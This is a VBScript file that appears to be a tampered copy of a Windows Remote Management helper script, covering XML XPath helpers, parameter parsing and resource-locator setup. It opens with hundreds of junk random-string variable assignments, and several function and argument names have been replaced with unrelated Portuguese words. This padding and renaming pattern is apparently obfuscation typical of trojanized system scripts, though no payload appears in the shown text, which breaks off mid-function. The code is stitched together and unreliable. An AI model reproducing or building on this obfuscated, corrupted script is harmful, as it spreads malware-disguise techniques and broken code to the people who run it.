KWNKtRjGaWkPJCb = "miUZCWzchGGqQkz"
PUKzLKemuLPcSxL = "PiKOWRbWWKqLuxL"
qzcPWjApcKocKLf = "AtLlOpfaeonbmPk"
KLtiAIWhUCGNpWo = "PWZoWAZtQHinQJL"
UCrRLPbOcGLoaCC = "LmbBdhCUvlruRUZ"
obTtWhkbuiKbhKW = "ZWpkWUIeKLScLLL"
ekcQumgeLPNsiom = "qtpbuLZcckpOCsh"
cfGWiBvGPCLkieu = "rmeTiqoQLWeUUOK"
KoZvsALWLCBefBf = "kIohUeLpcLGWLfi"
UfWQGKLkconfortarnKudL = "LtZioiLLnIWQHbW"
bLLIGufkNbNzOLx = "ZRWtTPmcgdUOozh"
sxTZLSlxWkdjWKl = "RiqBCbKOHfmRWrL"
cPtLLCkUkrRKAWG = "knvGceemLnWJjsx"
xthSdeNKklxTciR = "KWZPWcmWKrLbIkA"
qnepekaeLCpUzLd = "KOtiUQZgAtpovdc"
qRiUpvoLzOKPLRq = "qnodpxIWWePndHa"
idceiLUlCKRfffP = "LQvpiZktNKlCWpW"
fWnORukibsZaKWH = "BtHqRLhbvkebTti"
AcbTRQChGThqBce = "uLfqiCslkbrdAKW"
CzGeLfOLLuGhIni = "oIkKitPWjPRCTLT"
mklnZOioAUjbPLp = "cKoiZpzcnKpTsNi"
ziLbHLUncJObeNO = "nWhkZmZzAhiSLGR"
cfpBPizUZzUUPLL = "QieUzconfortarOouiSPconfortar"
caWLUtzKRGtsWeZ = "dONIWiTRKlPKvtL"
qLKitQuAdWKcjeL = "ThonUbKcLTOWekH"
vhLiWuCzLmcLhGP = "sRTpoKZRUfWxioc"
JZJbeLfhKLhkkmh = "WibGdlAUfjZLzbG"
zbAWvuklhcPLgUx = "QaWizlKSKJfaTeR"
znTLGcxdLUUilbG = "ULizaTGRNPZKmGf"
GPiWCiLBiAGGrKj = "CacAdNKfWnfkGpb"
ZSfxKWAhBGqLauB = "WbmOlNfkQkdAGWk"
okNkvUUPAGWKZnf = "fZGRKUhaGLmLKCd"
CcWUhPcitmHPnlm = "xkxLiGcWfQhiWfZ"
iUGKBAofLWiqiGm = "WLbuaembWWHWapB"
NUcNnqmUWiWBNCW = "eLWehUbmLxIxhul"
PdWLWKLetSTLWhU = "iRcZuQTQWLlbGTW"
JqWiWzBLumGmGGC = "GSpnIQZZUmupcrK"
OLAamcLiGkqxfRk = "exfexULKerzliWe"
fqqGWmQCGBIATcL = "bbPiGKmKLCWutxr"
vjNAUUCmgmGubWo = "cZWhmWWUKZKclRl"
TKRaGWsAGLsqBAU = "BWrKZkWZenNkPLf"
poGzpkWlxALRHaL = "uzmHAWophPOLpip"
iiisLfdmWzlWqTI = "cApiAJrLuRWbWbB"
NlAzifKxOdrGekA = "nPloGkGWrconfortarpiWG"
WPiRLhcGTbNGKaU = "WLxruSxzJcNoiQH"
GWKLqcZAmCWKrTW = "tdNzHKNmiGBfGQL"
NKoJqihPUKWUdiG = "OkWAGZogGnLKGWN"
faQubWdJGKPueHi = "pzAhiURLNWWWBUN"
TWsWKHrGWueGLkW = "BWTvLekkNKqkzze"
WUmKkkrNKWzLRvG = "AmLPeuJzoLdjvtu"
LCozmKWJoLfTLko = "eKgQiebibkiiLPL"
cmsxHmQNepLuKel = "liWpficniRbxLaO"
ANaijoksxNNCodB = "PWfGbdKxaocWWxq"
TLZlWzlWmzcKconfortara = "bbCZhlpWdUiIitd"
dcZxrfeBhLPbkch = "dhhWxfszUGiNRWU"
iAKRNWccWWTUcWs = "BoikWfGsGzULCKK"
PnpsQkdkLzWlCer = "pKZeiimGKGLczco"
hWLhoZdWfWoOGlQ = "cioiOkqeUhWfubO"
AjkbOcWoGdgraLW = "cofkWmfINKiiLWU"
ZutZWAkOmklhIUW = "LiqhctlAjcWNUIK"
iGAjtLORxhGNiLe = "LfxCzGZzpAzLkWR"
NxTWKGeKcdKcdqB = "sPLNKJWBGcRvkGU"
UinZOxWWodWUWmA = "iCKHlqLiPjifHlB"
fkeLKixisaOOAKK = "WWNmbZdBfpPILLe"
aixUWqhKKtKKTtn = "LNcUacklzTfWepk"
AZikzLKdGJiclPb = "LLBCJcKxZjKWhLc"
dZSWbkcChPorKAR = "CkeseSzHccokRLZ"
kmdgcGhLUiZALKW = "RfitLoLihKppLWL"
confortarUfRLUitRGlpkf = "ckNtzLdfCLpnWPt"
kAhROkUxninZKsj = "gxAOGzBUtLpbKpN"
zbxOgohbLqLWLGS = "LzKGLopNKhmPZvK"
NmWiBNNWLUUGkaR = "mSHetekgohWBzix"
momShcdCbnLWiec = "PIIiUhLhLJOacZW"
JHUAvBGzKisZeGZ = "zLWmLhQqNjieGoL"
WGKkiWLGKTkhduz = "pWPtcdmqohnzocf"
kmoBceokkBzBpBG = "jfkBPWLCeAiWLWh"
LWmiGIHhLmUmLKa = "AkJAmZWBfWAPLWg"
ZLWiKoIAmxhuLLi = "BfNuWZxzzbokNmH"
GicdNJGmpcpAOxA = "AeWLnekLfJtbHhA"
iRzUaLkWpcUsfut = "ulbkTUOOWuPdfKK"
TOGoLvHscpdBLBu = "aUtWGmhWSAKJLCk"
iLSlbLeemaKktBi = "GphNuLPZclembdq"
hmfjZOUNmfagliG = "GceUHKNOtkWvhtc"
HpNiLconfortarUoLntLim = "kzoSufzfTOpLeWc"
xdhccZopkLWvpmT = "OoKiKWLAzKnQlUx"
KtLJWoZKWNlconfortaruL = "WKakefbKGHGOWmc"
AuZGBhRcKzWrcLL = "LHHxGpCWhLZNZil"
LLceZekxUlicbiG = "AAlconfortareKKAKKbPiZ"
IWWxKLaZkkWCqUG = "confortarWPtmHQvLPWGNo"
CqRBKGcAsHsdNKU = "LvqaLKKfnNdokpG"
RepLvRLgdfWLcip = "zzLmoiGzdexWGdL"
CGiAkAGZxRdhLbO = "SPPjBbicUZccfOk"
WGfQfeiKiAKAnkW = "tjONzkaWLhpTcNf"
kvGLbWNkcWqcOoL = "hhkhQLxuKeWtkQh"
AKhGJhJzbmkZGiQ = "WOBLkKzOWWNWNsi"
WlRCWaWdLLSnvde = "AgHJNWhZRpOWTuH"
LUkgLhAtcchKiLW = "eckrlNACjxccdci"
vLvWzkRPWPWcNpC = "SNWLqKJkNgPcLiW"
SqGLBNlcLWdKUri = "LxLWGfiaKOumucG"
WconfortarAhKZoxRinsOW = "cWcieWGNpuLPCWH"
LUpoosKPWeWosbh = "fKoLjkGAoNnBcix"
AabiIbxWKlLaBiG = "QShmkpBbZULipxL"
QWckcutaLGfAScf = "ZSKznGaKkqqmkxu"
eRqaQUAciuHLvKT = "KfcIUWLtfLiUcLb"
LZiaCjKcfPcAktv = "cdCctnKZZiPiKIO"
pvpcOAJdkLzicCk = "xiqbdtocRxNAgLu"
fLAUdKWibiWcezh = "cGWLqGPWkhvLiKZ"
OBcptsgveiJLWUc = "ZALLciecAxWmKAU"
ipKzhLGlQKSBdnW = "rzKkRmuLBIKnrvL"
LGpWNGWOKWGNpzb = "LbWocLctzkobidz"
WSNSkcmhZLdWoGc = "BzfTvdAnvLJxvKc"
CLpiNPcBiUvlpAz = "LLGifbhGWebPOWG"
iALhKxbsNoLLAWz = "kiadUiiikpLKpLB"
GNlkukilmGKiIOU = "bALcUoiRALotcnc"
BUNBHeWkNPbhkun = "GPPGzRLRUkcWuGu"
LGaCULRtKefKfZf = "hOfLquPLrAancLe"
UePWKoqjjTIoaJr = "ZWrLpCWmNiGmddL"
GhNpGzkcptAiGAk = "JGhlINzekPLfucu"
bbHaUbtphWKWztN = "OtCGAAzLOczCUAo"
brNJkolGIWAnBLO = "ocUOLLWcOebTqLk"
ntiOTcecviOozxU = "pWzKcLKKldPzzZe"
LGaZcZUpzikfijL = "tfBnciWAOhZWkuo"
pNjfWiWZBUmfzke = "bcGWcoreLcixChB"
UtcoZsiWKgoRGva = "hCeLGccnKBKhtCN"
GkjTzohLILPiBho = "qAzneetNOoGOoBG"
fHiLGnZGZLzcWtL = "RhIWGPLpLsLfriK"
hlhlrWiBqequGWx = "LCoLblnWeWLedkS"
CkKWLUdtzasWiLL = "UNCiLNZzRLGoqJU"
ePtsUWmNULppLUG = "ascRlBKKGgdLkcd"
qdGUpbkPhGLpUtK = "iUGRrxnICAGcWtH"
pciPjeLmsImZLxC = "oSKnloGGWZLKxZh"
iONxHeAAehKlUZn = "ipWWOkPHKWWxvgK"
bKaqLCWTLCucPia = "NIeliWolLjWUeWo"
RKqkprhKkbtAddH = "KWkmWZWtzpiUqTB"
KWKciatGJWGGvcj = "UiBZWteiLrbpRxC"
QNWnGCngLhKLbWU = "NqeSLZhoiACGpOJ"
ackeTzkKxGWiWaW = "nKvpLpmeiciLALg"
iiJCLCQCQWGzhLa = "hlcWLaWUPiduuSK"
pKiZbLpdkZpWWam = "UObdLKfzLzLtKJW"
HLfPWabgWqWRNCi = "kUiiCLLdlTGiKtL"
qtCRWdKUZckIHfG = "PiNTcbGeKccNWNN"
aWNCZzCAWLfbcTW = "INWikehiLdzPzLe"
RIGKqLOReLCpOmZ = "xRbkizKZNQinUdl"
JPpKCLxLKAKCGGL = "WczoWaLZWWPubTN"
dKHiRuBxRdoxPkW = "NKiKTdGnCGZZdpk"
npkAGLqPvcRbicm = "ObAbbrPeBoLWepZ"
eBoneWhfLNzmWTn = "sUGNUzPoqLSikAG"
PxGfUPioGLnGups = "jJNvWoLRPoncLGb"
xoHRijCcrkLPiKc = "hGQkZioPAzWoLNP"
UbiazccWGrpAzOi = "lqcRuaiUCfKRBlG"
OmGUHpeWHZbfWZN = "eiSIsUiNUtociQK"
WWWLNfZPUWohnhi = "GkAKWRPdaovKlci"
xOPLkconfortarLKfcLBNx = "GAQlKKWLPKQkOfH"
huWCNdGjSdumWmR = "biHRLhZizhWGBPZ"
JdRGZcacAecWdio = "clkWkKPiOcUWLCS"
KUbbCffWKpbsWxk = "UOkahzqLGGzBLsi"
UcKmUiPhccNhcgU = "NjfZNaqWWcphPtg"
mRLKWqALbvaPLfc = "WLWKRBCLffuLWLr"
WqCIkdcWkddSWUe = "ozfWCWdeNTnxiTW"
ccKxkSpOuKGLoLi = "uiLGWWKZNKLLhAi"
CqipOLufLLLLmmL = "NWbaUpLiAKBQQGk"
rixqPWWdWHAbcGa = "bAZKfLLknztLCNd"
lKGtuKBoxlWILke = "IKmvHfiBifIBtmW"
ixWihTUpeBhxhkR = "NcLTzorhioadamB"
IStGLpAWNcLGPci = "UZqkRcfWxKNrfWL"
QOhBOhRxPHbWKUO = "TWWAOGAWrPAGLxA"
WNGKRcjfIlCGLNA = "oUWqhdzHLconfortardWiO"
RZdhPPdKfxRPiKK = "LNWAfULkKdGihZA"
oSkiKiGLWgNRzRk = "eLKWZRLRcWnumei"
WWnpohidzPZjcZu = "GhucnGpOKLKAexc"
AJeoiiLnkNiLciU = "nzRGLUkpNOGzSie"
lhcHGIxLNxUKWiO = "mcjLWpnudULcQIU"
LaUPLWxacWbAqpG = "afckzLogiqdBxLo"
WzGWSanZkhkoKiR = "KoaiZohHcCfphNo"
bzGKWtWcRJeCkze = "iffobiLKiWtfWkC"
iiRKuZihBZGkLpp = "OSxCZCQPiPKWAdL"
tWNJUWLzbjQLimi = "csGigRKkkhxkfad"
BSpUKGggrLWhnpK = "KklWOrBtvdgoqkN"
PGsLLzivhZzlLaR = "jAKnUWimKNcgBzq"
jWOLxKJKfQktNWr = "npcAZGRKnLLSKnG"
KridOZouiWvnGNG = "pfZKTUiPWjeWilI"
WaLLuAOKBbpULip = "nApLizLRLLcCWaT"
WRhkGLlkJWKvPvL = "AzciBftKLKxPixc"
WGfmBzhlLWmPLLL = "ehPuhhetWeritkU"
NtfWGehJzzikxlv = "GkAGZUQuconfortardNAAL"
mmuhiWnLnjnkfiW = "CzLCUCfmkIqtfzp"
WiWifKneKWKtPtO = "PQLNOndWiOLbRmQ"
obncZIhzGkReKbn = "iUNWLPbCbAWoxiU"
QpmpzmNhGWmUANQ = "QoPWxRPujiPbKqL"
aekqPWkAjPlgGzI = "sLWLmWePahgKPaZ"
ScWzrLsLmJkZHeL = "kLWAmlzKNNuUpNC"
AULzShvmeiKdUPp = "NBAGhzxRHchULpL"
WWiWfpSfWnJGLQi = "eKAukzebmmkWpRW"
cGLrLePGbOmoOLG = "LGhRNNppNSWlKKk"
ZIHWpzWfZUZLbZL = "WLzTjUOLZZkoCKm"
HhpLZcAWWGNirBh = "CpLmIOLkzGWdLrp"
KTkOjLKoQfNmClL = "WCthPlmBzWobLkp"
oPtehdUmPbhuCKW = "HiadKoxNWLakKcb"
puUUUBpcafKcLWq = "dLpxccGNPRriebR"
chLsKLtABLWBvaC = "pWLifUTKzPBWiLL"
hWCicRUKNaoWkUS = "qnfGhJeGUeHWhpR"
NrLLzkHOmAbzPkc = "WxiblzbftRLkoxu"
BijbLbGeniIcKCK = "bNoGWmLdbIGQWGN"
kicxpWscpKjLWLl = "LGicccciLKnotLK"
LKiKApZkffPAeGk = "eWeiciitUkLxisq"
RLNRUhhtuNpToZl = "PLaIWGRlPuiUfCL"
oKUfzezAtcCLWmL = "LfSxWjtsGGcKkQc"
KNhgWxOnlfrmbnx = "CkcqhKLAfotiCkl"
KcOZmbLbPCSCczO = "PnuzGSmoxbUfiib"
WmauiAGKpTzfxdc = "AWcnOLAWORGxeAK"
uiLncnPKbkLccot = "fNzkcdRiccJLuuU"
mzPiNjUUpQkWxuC = "LzLeAWObekAcLGb"
zsrflkGxijLLGGz = "JZzpLmNutcfoHZf"
WcpLWReGblKLGiW = "dLlkxzKWTHvZfpW"
LlaiNhNKCbGKrLf = "hcAkKIkOWpQtckU"
LWlGKZaUUPiiiUZ = "tkmavcJcidLzrlO"
xeWioGGWPaLRpBU = "dBUPUicxKWZoKKL"
pRULipdBPLGWLUu = "aCLZWnicLdPUWZd"
KTkqikvKTKgZBsi = "URmTLZKZmAWjKit"
JdALWcucaikiaUb = "KRrlbZckiQpWrmd"
LPdKKbLKeiLBUnW = "LmcdOIaKcJcfiKv"
CKNNUWkuLlvckiS = "JKoAxIvBaLpjWif"
rfZeLiWLJLGhvWb = "aIzNmTLCWiLIKOO"
kWLWtiuoWLxUNAh = "iQLkLhtaLlmidUI"
WccePcWkCiLUhfk = "WiecNHnKiGKdWmJ"
clPRGBfmaaObbeo = "kLkisPJAfKaKOdj"
fWboLWAQLGCKLPl = "sqkLPPPtIakKklA"
kBpzbNZWaLhWlAx = "xGfGWKLNeCaZALa"
cWqakAlWhcAOceO = "PBLkmxhLUbftfjW"
LOkNoiKcSRKivbu = "xILeiWLGLpWLhbi"
WCWPfkzzBeihKbt = "HazNJoWnllCWkfx"
fLJZUplcRHWUczT = "KpWfeWqKKGbWqWz"
iLWkhKKBibmIpWb = "KNfazKLWnLzQikh"
KfPkWqRLKZPGmKG = "WCKCGCozxnlSzLu"
GkWNmtAbBOLZQWc = "cAciWPpJRLPcmUB"
nmkZWiWWiTcRUqO = "uTjkAxpWraKqTfe"
IJGjciGBoNGGfeh = "xcbmUQTkmGzRaKk"
WSorfcbiIUGNzZh = "tnWWlmcckLNKLje"
biHlKAfaGLbbiAW = "WniAcRLJkGkmuhL"
NKtahnKcoBUicCf = "qOcPoRgbGGWaiaz"
xzucWtivAHcLrib = "xBeBIbzuPaeuNmv"
ALtqBLcJaJxBtpg = "aUkqcBKniGLISLU"
KJAOTKaWAOOKKxZ = "KLeWckiLnTcBfiA"
NWBBuWmoafACfKW = "SuzdANtULLLLANb"
oiUABfULqrLSpLh = "LneWAPuxUnSmLhK"
RahQAkAciomzLWP = "WpWLlphGkLLiRza"
cBPNnWcraGxgtGA = "pUGcApKeqimLGWO"
RihAdKUWpcRUGzA = "cZKnJfcKnRKuaNB"
LWPANRcLiplhRac = "RzKncbAmPfPULGd"
CkZcLUptLWNoLmW = "NNqiGkAWkzhzvLG"
GzoWNfjLeWfGGpf = "tkZmWWGmsLfLqvk"
RPPzLplbpLzWLcZ = "tLWkPOLPLiLUPKW"
pbftQfZWKWKLqdW = "ctWNNfciAkbmmWd"
zhcLcmGjLNbxAcL = "LhjWGiWCWNTWWWq"
cgLmgiULKhPUdPd = "oCKWNumeZiKKcad"
GrimTObnoqdCbLf = "zGcalNWBUKaplKR"
nqBcetuUNBWdkix = "cTbmdiuSpctitGJ"
KiuCnLKbWSmGGcI = "CPUeeoovfKtzfUG"
WcnKcbkkIWdtLHq = "fLGxneLfkRWiLUA"
vhGizlixKfmqGam = "xbKLiJoWeWKmook"
dZiPzUciobJmUox = "CsWLkaAWrzkBpeq"
OfLgvpGoiNsLgLK = "PxUBbALWLzsCGWm"
lWGGBznBGaGiGlb = "NRLlWiTKLopgmxq"
bPRLmpPWkLffksW = "NzNeNxkKcOCRcpc"
GbpUionAcfUWxWb = "UBgmefWbnxeRcUp"
kRGxzWvqBrfAWmG = "WpJiAtoKNtzppbe"
GmZCkZhLWzNiWWP = "ixziGBcliNShuqA"
ScPkHuKahenRpHP = "KrpUjedGaqiAfhK"
WiuWzWcLRkALxUh = "LKuAhgLBlkiAeLU"
UBePzzUKiZiKodB = "eLreOikqRLseaGs"
GKtKWqhLNhilWKW = "lfPTUhKGLileBkT"
ONKqaxLneLpNPLU = "eGUWpWSLhLxiLLR"
WkCCmLuffknNUlo = "aKmLLNhboLoAcOx"
hKvBfLbxQhOeLCh = "qNtKiWieZZLTNpQ"
KZeKLeJLgLGfqOL = "iKkfUkdWLxffqCc"
KbolWBPjLeoconfortarAN = "bAfaHJeqZdLQdLK"
CLBZTApiWiSaBGa = "eTNxNqzoZCZNOhW"
kcGqpReqAHWeuBf = "hPrNlozSLmLmfPO"
ziSSoWohUKzOWWW = "cjlhWeWxlTGztJc"
pcOhmLNKuLcKevP = "UABZOlckozbmGRL"
akImUKRtrCiNhKd = "pORvRBnhULPiLQC"
hhkZZpaAqhuWdux = "WcZaRNsGKZcBgfp"
qWLoWbPLPNecxLW = "eUroObPfNcUxGWS"
pGeUPKWKiqribPK = "qBhbeLvGsQNKaak"
AvKWvSWiGGOctCG = "nWkHjsCPfCdzbqr"
fgLGqLJJCOuiKot = "dhLNiIJGgIpuIWC"
kWWGcNgphKoKWci = "RWCRickWmCWWpoU"
TabKHKehoKNPKKZ = "KijWbTxRfLafcJk"
sCWdAcdekomRKpW = "LIOuoWncCAfGceA"
NiZqAZWcazWmQuB = "TBGbWSZLGqozRoA"
NKdGSifapGmKGWl = "qLuUNtjpWoKfbWP"
ikOiOpfGSLfmUiG = "WfzKGTKoLfhGdCi"
klmotNOKNzBAeJK = "qmKOzLWLzIjCfcm"
KfczkWKmeigjoUh = "ocIlSGucaGUQGcL"
KLkcbNRGkKtPWLC = "LPmWLiZdRRLKeUr"
AWNGCLKUbzRkGqk = "RqPxumUqLNGfWKA"
WLpLaAdcfWKiedH = "uiUaKULcxKLALWC"
AWhcAfTxxfniKdK = "LtckGPciUaocAPi"
nxlLAiZWPWfKdoN = "fmUoGWTLLzoNPiL"
hTmfONzulzKLhea = "GeOOmcrJGLOKfNc"
xpCHaoGtkLiWlqL = "KiqNKKmUUbLBKHk"
LaLLiPQTtpcjNAc = "kUoeNCcCGAekkLC"
ClLIAPaiKmNbmuK = "KHedeimezSikNHg"
CgkzNcKKNAlPgtb = "UWsAmLbAmargLLq"
hkGWChpWxWPrGcl = "PKbLLtlWiUHkPGG"
HsvdkbGLWbLZqzh = "nkqULimKZGOWxOe"
lifpoiKLkaLLWgg = "piAAWhkhaoKKWqt"
nxNaLWrrkWLcZxL = "WCBzRsKLhueeWzg"
kLdkSLtPibkozcS = "IZUUPjkcLoWCWAL"
AHLcnUGLUkdfRHL = "GPNfmfpconfortarCraLzx"
pfUUWqeZLiUWWBc = "uRRWxCZGUicLLkL"
iIucLGZxmjrWUcT = "WzOcbcLtWhPBtUO"
GmCGWGNxpofCibZ = "OLGKoOLUpaLqUzl"
lUHNPioWLKammkC = "AchWioPGAmNAZWW"
LSRPuWvUOLKfiUG = "vuPHzCilLcxkkKb"
ctbLmcLWmLGZinW = "UGNBAkAUifLvhdQ"
KZOWxljjCGconfortariKi = "WuPvLBnGLhALWGq"
odxmONhLKGKmWWc = "AGnbcNrLWGUbdbh"
eUdnZiUkRuLKLUf = "bLWvAofRpZGUjah"
SWiBdNxLARIolLv = "cRzOoNdWKxikfOh"
omeWLKPdsKLxLNb = "QWsoUngHatgLkmo"
LchrKuPleHWnOOk = "pkjflrrddUScoiU"
izAvWxZGzmqCHcR = "PJLGLPWGbunWLCb"
cWcxZSleilNepbi = "rxedGqWLtNvttKL"
eNlhcxKKleeGQRG = "hGikKzuNKxdUAtr"
iLNapjhmUlZJUfo = "xfzieiczuWJcnfu"
QWconfortarpWNcKKOgcGa = "iioGZLLlZKfWNtG"
zWqconfortareCAbGQKUKi = "LUzLzjhxOKCloLt"
tjfWfiUbGtiebcG = "dcLvPbUfWoWlcLW"
LQmiRiZhZobkPZB = "BGKULIKjIieGzhi"
OQkKAOsOHaJZTeL = "tGbbeZoGhpGKczm"
HieccKPKxzuLiWK = "ouBUfbLUcrGzWAA"
ZqheLLALWtZUbWg = "KSQkLfoxLduPNor"
'''''''''''''''''''''
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementByXpath(msxmlObj, xpath)
GetElementByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
If Not currentElement is Nothing Then
If currentElement.hasChildNodes() Then
If currentElement.childNodes.length = 1 Then
dim aNode
Set aNode = currentElement.childNodes.nextNode()
If aNode.nodeType = NODE_TEXT Then
GetElementByXpath = aNode.text
Exit Function
End If
End If
End If
GetElementByXpath = currentElement.xml
End If
Exit Function
Set elementList = msxmlObj.selectNodes(xpath)
If elementList.length = 1 Then
Set currentElement = elementList.nextNode()
If currentElement.nodeType = NODE_TEXT Then
GetElementByXpath = currentElement.text
Else
GetElementByXpath = currentElement.xml
End If
End If
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementAttributeByXpath(msxmlObj, xpath, attributeName)
GetElementAttributeByXpath = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim currentElement
Set currentElement = msxmlObj.selectSingleNode(xpath)
GetElementAttributeByXpath = currentElement.getAttribute("Source")
End Function
'''''''''''''''''''''
' Helper to run xpath over msxml obj and find single element
Private Function GetElementXml(msxmlObj, currentElement)
GetElementXml = ""
msxmlObj.setProperty "SelectionLanguage", "XPath"
msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""
Dim elementList
GetElementByXpath = currentElement.xml
End Function
'''''''''''''''''''''
' Returns XML ns depending on the type of URI
private function GetXmlNs(resUri)
dim resUriLCase
dim s1
dim s2
ASSERTBOOL Len(resUri) <> 0, resurgimento("L_URIZERO_Message")
resUriLCase = LCase(resUri)
if InStr(resUriLCase, URI_IPMI) <> 0 then
GetXmlNs = StripParams(resUri)
elseif InStr(resUriLCase, URI_WMI) <> 0 then
GetXmlNs = StripParams(resUri)
else
'//GetXmlNs = StripParams(resUri) & ".xsd"
'//This was reported by Intel as an interop issue. So now we are not appending a .xsd in the end.
GetXmlNs = StripParams(resUri)
end if
GetXmlNs = "xmlns:p=""" & GetXmlNs & """"
end function
'''''''''''''''''''''
' Verify if target is in IPv6 format
private function IsIPv6(target)
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Pattern = PTRN_IPV6_S
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regExpObj.Execute(target)
if matches.Count <> 0 then
IsIPv6 = true
else
IsIPv6 = false
end if
end function
'''''''''''''''''''''
' Extracts XML root node nm. from URI
private function GetRootNodeName(opr, resUri, actUri)
dim uriTmp
dim sfx
dim s
dim regexpObj
Set regexpObj = New RegExp
ASSERTBOOL Len(opr) <> 0, "'opr' parameter is 0 length or null"
sfx = ""
select case opr
case OP_PUT
uriTmp = resUri
case OP_CRE
uriTmp = resUri
case OP_INV
uriTmp = actUri
sfx = GetSuffix(resUri)
case else
GetRootNodeName = ""
exit function
end select
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZERO_Message")
uriTmp = StripParams(uriTmp)
regexpObj.Pattern = PTRN_URI_LAST
regexpObj.IgnoreCase = TRUE
dim matches
set matches = regexpObj.Execute(uriTmp)
ASSERTBOOL matches.Count = 1, resurgimento("L_NOLASTTOK_Message")
uriTmp = matches(0)
ASSERTBOOL Len(uriTmp) <> 0, resurgimento("L_URIZEROTOK_Message")
GetRootNodeName = uriTmp & sfx
end function
private function ProcessParameterHash(hashString)
on error resume next
dim matches
dim m
dim regexpObj
Set regexpObj = New RegExp
regexpObj.Global = True
regexpObj.IgnoreCase = True
dim resultDictionary
set resultDictionary = CreateObject("Scripting.Dictionary")
If Len(hashString) > 0 then
If Len(hashString) > 2 Then
If Mid(hashString,1,1) <> "{" Or Mid(hashString,Len(hashString),1) <> "}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
regexpObj.Pattern = PTRN_HASH_VALIDATE
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count <> 1 then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
'following check ensures that if we have unmatched substrings
'we report a syntax error. the way we determine is first to
'calculate the expected string length by going through all
'the matches and then comparing with input string length
dim expectedLength
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
expectedLength = matches.Count-1
for each m in matches
expectedLength = expectedLength + m.Length
next
'account for starting and closing {}
expectedLength = expectedLength + 2
if (expectedLength <> Len(hashString)) then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
end if
regexpObj.Pattern = PTRN_HASH_TOK
regexpObj.ignoreCase = true
set matches = regexpObj.Execute(hashString)
if matches.Count > 0 then
for each m in matches
if resultDictionary.Exists(m.Submatches(0)) then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_PUT_PARAM_NOARRAY_Message") & m.Submatches(0)
set ProcessParameterHash = Nothing
Exit Function
end if
if LCase(m.Submatches(1)) = "$null" then
resultDictionary.Add m.Submatches(0),null
else
resultDictionary.Add m.Submatches(0),m.Submatches(2)
end if
next
end if
ElseIf hashString <> "{}" Then
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
Else
stdErr.WriteLine resurgimento("L_HashSyntax_ErrorMessage")
set ProcessParameterHash = Nothing
Exit Function
End If
set ProcessParameterHash = resultDictionary
end function
private function CreateAndInitializeResourceLocator(wsman,resourceUri,secante)
on error resume next
Dim key
dim resourceLocator
dim paramMap
Dim optionsValue
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' create the resource locator object
Set resourceLocator = Wsman.CreateResourceLocator(resourceUri)
if Err.number <> 0 then
stdErr.WriteLine resurgimento("L_ERR_Message") & resurgimento("L_RESOURCELOCATOR_Message")
set CreateAndInitializeResourceLocator = Nothing
exit function
end if
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the options on the resource locator
optionsValue = secante.Argument("options")
If Len(optionsValue) Then
set paramMap = ProcessParameterHash(optionsValue)
if paramMap Is Nothing then
set CreateAndInitializeResourceLocator = Nothing
'todo exit function
end if
for each key in paramMap
if IsNull(paramMap(key)) then
resourceLocator.AddOption key, null
else
resourceLocator.AddOption key,paramMap(key)
end if
next
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' set the fragment path and fragment dialect on the resource locator
if(secante.ArgumentExists(NPARA_FRAGMENT)) then
resourceLocator.FragmentPath = secante.Argument(NPARA_FRAGMENT)
end if
if(secante.ArgumentExists(NPARA_DIALECT)) then
resourceLocator.FragmentDialect = secante.Argument(NPARA_DIALECT)
end if
set CreateAndInitializeResourceLocator = resourceLocator
end function
private function boazinha()
if InStrRev(LCase(WScript.FullName), "cscript.exe", -1) <> 0 then
boazinha = True
else
boazinha = False
end if
end function
'''''''''''''''''''''
' Reads input XML from the stdin or builds XML from @{...}
private function ProcessInput(wsman, operation, root, secante, resourceLocator,pentagrafiaObj,inputStr,boletineiro)
on error resume next
dim parameterDic,key
dim putStr
dim elementList
dim currentElement
dim paramXmlFile
dim tmpNode
dim parameterString
dim parameterCount
dim xmlns
'make sure it's a relevent operation
select case operation
case OP_PUT
case OP_CRE
case OP_INV
case else
inputStr = ""
ProcessInput = true
exit function
end select
xmlns = GetXmlNs(resourceLocator.ResourceURI)
'process the parameters into a Map
parameterString = secante.Argument(NPARA_PSEUDO_AT)
parameterCount = 0
If Len(parameterString) Then
set parameterDic = ProcessParameterHash(parameterString)
'if parameter processing failed, exit
if parameterDic Is Nothing then
set ProcessInput = false
exit function
end if
parameterCount = parameterDic.Count
End If
'if there were no parameters, get from file
if parameterCount = 0 then
if secante.ArgumentExists(NPARA_FILE) then
inputStr = ReadFile(secante.Argument(NPARA_FILE))
ProcessInput = true
exit function
end if
end if
if operation = OP_CRE Or operation = OP_INV then
dim nilns
nilns = ""
dim parameters
parameters = ""
if parameterCount > 0 then
for each key in parameterDic
parameters = parameters & "<p:" & key
if IsNull(parameterDic(key)) then
parameters = parameters & " " & ATTR_NIL
nilns = " " & NS_XSI
end if
parameters = parameters & ">" & Escape(parameterDic(key)) & _
"</p:" & key & ">"
next
end if
